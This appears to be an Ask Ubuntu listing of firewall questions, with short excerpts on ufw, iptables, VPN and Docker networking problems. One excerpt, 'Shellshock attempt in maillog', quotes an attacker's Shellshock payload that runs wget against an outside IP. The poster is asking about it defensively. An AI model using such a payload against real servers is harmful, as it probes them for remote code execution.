a technological barrier designed to prevent unauthorized or unwanted communications between computer networks or hosts

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8 views

Kernel 3.18 causes pptp VPN to fail if UFW is enabled

Folks, I would like to submit a bug ("i think"), but i first wanted to check with this community to: see if it is really a bug, and not a feature or an ID10T error get your advice on what files i ...
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0answers
12 views

Allowing Longview in UFW firewall; how do these iptable rules translate to UFW-commands?

Linode has some documentation on allowing its product "longview" to go through the firewall. It offers two commands for iptables: iptables -I INPUT -s longview.linode.com -j ACCEPT iptables -I OUTPUT ...
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0answers
25 views

How do I configure firewall or proxy setup on Ubuntu 14.04?

I can't access Firefox browser and with Terminal command line problem detected proxy. How I can solve this ? . see screenshot
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1answer
9 views

How do I use Juju local with a firewall?

While using ufw (Uncomplicated FireWall) and I noticed that the local juju machines were stuck in a pending state. $ juju status environment: local machines: "0": agent-state: started ...
1
vote
1answer
19 views

dport is not working on iptables command

In terminal I type : iptables -A INPUT --dport 443 -j DROP And it tells me : iptables v1.4.21: unknown option "--dport" what is wrong with --dport?
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19 views

ufw rules don't block deluge

I'm trying to keep deluged on my headless Ubuntu Server 14.04.1 from functioning when the server isn't connected to a VPN (I know many threads exist discussing the best way to accomplish that; I'm not ...
0
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0answers
11 views

Do I need to create a firewall rule after installing Android Studio?

Since I installed Android Studio, I have a new network device: virbr0. My system log files keep telling me ufw rejected an incomming connection (one time per minute) wich is kind of annoying because ...
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0answers
33 views

Deluge download speeds too slow

Total noob to Linux and Ubuntu. Dual Booted Ubuntu 14.04 and Windows 8 in my Dell Studio 1558. Everything was working fine until I noticed that my torrent speeds are very less. I tried it again with ...
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1answer
31 views

linux gateway / firewall IPtables config

The KVM host is acting as a gateway / firewall for all of the virtual machine's it runs. It has a /26 public IP space configured on LAN interface em1: 1.1.1.1/26 It has a /30 rfc1918 IP configured on ...
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1answer
21 views

FTP and browser network connection issues in 14.10 Utopic

I have a remotely hosted website. For long I could FTP into it and upload web content, but now when I try, Nautilus tells me after a long waiting time that "oops, something went wrong". Normally I ...
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0answers
19 views

Virtualbox server 13.10 port forwarding through router access to static IP/internet

I have an Ubuntu 13.10 server guest setup in Virtualbox (I have a windows8.1 machine). My question is: how to setup port forwarding to access the webpage from the internet. I have disabled the ...
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0answers
19 views

Firefox and Chrome Not working even though I am connected [closed]

After recent updates my firefox and chrome browsers stopped working on my computer. I can connect with a Lan line and it works fine. But with the wireless connection it stoped working. The error ...
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0answers
26 views

Header file for struct proc_dir_entry

I'm writing a firewall for the Linux kernel and I'm using the proc_dir_entry data structure (which I've found in the tutorial I'm currently reading). My firewall is conceived as a kernel module but ...
1
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0answers
12 views

How to config PORT KNOCKING on CSF ubuntu server and access it by linux?

I'm trying to run port knocking work on a CSF on a small VPS, i setup this: 1 - the result of csf first test ok 2 - TCP_IN = "53,80" TCP_OUT = "53,80,113,443" UDP_IN = "53" UDP_OUT = "53,113,123" ...
33
votes
4answers
11k views

Why is the firewall disabled by default?

Why is ufw firewall included in Ubuntu, when it is not enabled and pre-configured by default? Most users don't even know it is there, because no GUI frontend is provided.
1
vote
1answer
93 views

apache2 on ubuntu 14 - localhost works but ip doesn't

I've just installed apache2 on my box, along with php5. I can navigate to "localhost" and it works. But I can't access this webserver from another machine... or even locally using the IP address. ...
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0answers
47 views

Why is ip forwarding not working in xubuntu 14?

I upgraded my gateway computer from xubuntu 12 to 14 and the computers on my home network lost their internet connection. I found that the upgrade had uninstalled my old firewall, Firestarter, and ...
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0answers
31 views

add repository under company firewall

I am trying to add apt repository for evernote on ubuntu 14.04 with company firewall. When I execute sudo add-apt-repository ppa:nvbn-rm/ppa, it stops, no response: rna@rna-P400:~$ sudo ...
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1answer
87 views

Firewall and virus software for Ubuntu 14.10 [duplicate]

I've only used a window operating systems in my life. I just began using Ubuntu 14.10 about a week ago after my old Windows OS was corrupted. Using Ubuntu 14.10, how does change the firewall ...
3
votes
5answers
2k views

issues in installation of mongo DB

I was installing mongo DB on my Ubuntu-12.04 system, but while i give the following command in my terminal apt-key adv --keyserver keyserver.ubuntu.com --recv 7F0CEB10 It gives me the following ...
0
votes
2answers
43 views

UFW not enabled at startup

I have enabled the UFW in terminal using "sudo ufw enable" ... But, UFW does not appear to start when the computer starts. After the computer starts, I check the status of the UFW using "sudo ufw ...
0
votes
1answer
127 views

Processes in docker cannot connect with ufw enabled

I'm trying to setup a server to use ufw with docker (via dokku.) When ufw is enabled, I cannot open connections from one container to another. When it's disabled, I can connect fine. As an example, I ...
0
votes
1answer
25 views

iptables and expressing your IP address to the rules dynamically

I've been recently spending my time refining my iptable rules to be a little more robust than Ark linuxs Simple stateful firewall to include defense against some other known and nefarious attacks. One ...
1
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0answers
7k views

ubuntu 14.04 default firewall rules

I would like to know exactly which scripts are responsible for default iptables rules (no ufw, no gufw) in Ubuntu Server 14.04. After fresh installation even with ufw disabled (by default) there are ...
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0answers
17 views

Using ufw as a firewall between network segments

I've been using Ubuntu server 12.04 as a router and it worked. Now I'm trying to add some security using ufw. I enabled the ipv4-forwarding feature in the configuration file and added a rule ...
1
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1answer
171 views

UFW is blocking all even when I set rules to allow

I am using an ubuntu server, Now I am trying to enable the firewall using these commands: ufw default deny incoming ufw default allow outgoing ufw allow ssh ufw allow www ufw allow https ufw enable ...
14
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3answers
124k views

How do I turn off the firewall in Ubuntu 12.04?

How do I turn off the firewall in Ubuntu 12.04? Thanks for the answers. The reason for turning it off was twofold: I often cannot make a wireless connectin to internet and get the server is unable to ...
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0answers
93 views

Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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0answers
37 views

What is missing in my webserver ufw firewall configuration?

sudo ufw enable sudo ufw logging on sudo ufw allow proto tcp from any to any port 9999 sudo ufw allow proto udp from any to any port 9999 sudo ufw allow 80 sudo ufw app apache sudo ufw app OpenSSH ...
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0answers
34 views

3.13.0-37-generic basic router repeatable issue - packet loss

I have two desktop PCs and I wish to use them as a simple router between two LAN segments. I am not using NAT, SNAT, DNAT, and all my iptables tables/chains policy are ACCEPT. With iptables wide open ...
0
votes
1answer
68 views

Iptables troubles

I used webwin for iptables management and reset the firewall over webmin (to clear out all the old stuff). I also disabled the feature Activate at book. After that I installed iptables-persistent for ...
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vote
1answer
464 views

How do I set up user level restrictions on a gateway?

I am aware that Ubuntu Server can be used as a gateway to allow Internet connection to a LAN. Then we use IP tables or other firewall settings to restrict (for example), certain websites from being ...
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1answer
453 views

telnet: Unable to connect to remote host: Network is unreachable

I am not able to connect to gmail with telnet using any of the ports. I am using this command: telnet smtp.gmail.com 25 and it gives following error: Trying 74.125.68.108... Trying ...
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0answers
39 views

Make Proxy Server with arno-iptables-firewall

I am trying to configure arno-iptables-firewall to work with transparent squid but no success. browsing is ok using local configured proxy on the computer but can make the arno-iptables-firewall to ...
18
votes
5answers
5k views

Is there a preinstalled or automatic firewall?

Does Ubuntu come with a preinstalled or automatic firewall? If not, do I need one? I've read some articles about the advantages of linux over other operating systems about security (no need to have ...
0
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0answers
14 views

If I turn on the Firewall I cannot connect to the internet

I run GUFW but even on any setting I cannot access the internet if its turned on. Why would this be? I also noticed in the "Listening" box that theres a lot of info going on which I don't understand ...
0
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0answers
12 views

Blocking time in request resources

I have this problem in my Ubuntu server 12.04.4: My page is loading too slow, and watching the NET tab from the firebug I can see many blocking time for all requests. There is some way to ...
11
votes
4answers
7k views

See configured rules even when inactive

I'm wondering if it's possible to get UFW to list the configured firewall rules even when it's not enabled. I only have ssh access to the server at this time, and I don't want to enable UFW if there's ...
0
votes
3answers
3k views

Is the firewall active or not?

I'm confused about the status of my firewall. Using the Ubuntu Software Center, I have installed Gufw. Problem: When the Firewall is locked, it looks like it's inactive. But when I unlock it, it's ...
0
votes
1answer
93 views

using ufw to block outgoing traffic to website

I want to block traffic to a specific domain e.g. mysite.com. I tried blocking the ip address of the site but it does not work: ufw deny from 0.0.0.0 to ip_address_of_site I am still able to acess ...
3
votes
1answer
111 views

ufw not blocking traffic

I have an apache2.4 webserver, and I am trying to block a malicious subnet using ufw. Here is the UFW setup: $ sudo ufw status verbose Status: active Logging: on (low) Default: deny (incoming), ...
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vote
1answer
78 views

How do I set up a firewall/iptables using rc.firewall?

I am new to Ubuntu and am having a bit of trouble getting my firewall set up for my Network Security class. We are set up with 3 virtual machines - a Gateway, a Server, and a Client. We are supposed ...
0
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0answers
535 views

UFW for OpenVPN

I want to configure ufw (uncomplicated firewall) for OpenVPN. Connections are only allowed through OpenVPN. Everything else should be blocked. So if OpenVPN is disconnected -> no internet! I found ...
4
votes
1answer
253 views

Docker is blocked by UFW

I have problem with Docker network in ubuntu 14.04. I have installed Docker.io from official repo and I've added DEFAULT_FORWARD_POLICY="ACCEPT" to /etc/default/ufw but my Docker containers still ...
0
votes
0answers
90 views

how to install mod_security apache2.4

I was looking at my logs yesterday, when I saw a bot roaming folders I have in my robots.txt file. I tried to block it with a rule in my UFW firewall, but this did not keep them out. So then I was ...
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0answers
19 views

Multiple rate limits in ufw

I have set two rate limits in ufw: In summary: limit http to 120 requests in 60 seconds; and 600 requests in 600 seconds -A ufw-user-input -p tcp --dport 80 -m state --state NEW -m recent --set -A ...
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vote
1answer
140 views

Whitelist IPs for ufw

I have set some rules in ufw to rate limit connections, as such: -A ufw-user-input -p tcp --dport 25 -m state --state NEW -m recent --set -A ufw-user-input -p tcp --dport 25 -m state --state NEW -m ...
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votes
2answers
1k views

Problems allowing outgoing multicast in ufw

I am having problems configuring the uncomplicated firewall (ufw) to allow outgoing multicast traffic. I am blocking all in and outgoing connections as the default policy. I have supplemented with the ...
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votes
0answers
39 views

Shows :::18332 instead of 0.0.0.0:8332, what means that?

What means ::: in front of a port (where usually the IP should be) when doing netstat? It shows :::18332 instead of 0.0.0.0:18332 and I can't connect to that port from the outside. This is for ...
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0answers
97 views

Ubuntu Server 14.04: Configuring ConfigServer Security & Firewall for Mediatomb

I am currently have issues with getting Mediatomb to work with CSF on my home network server. I have been able to get the Mediatomb server to work with CSF turned off. My Mediatomb web GUI is set to ...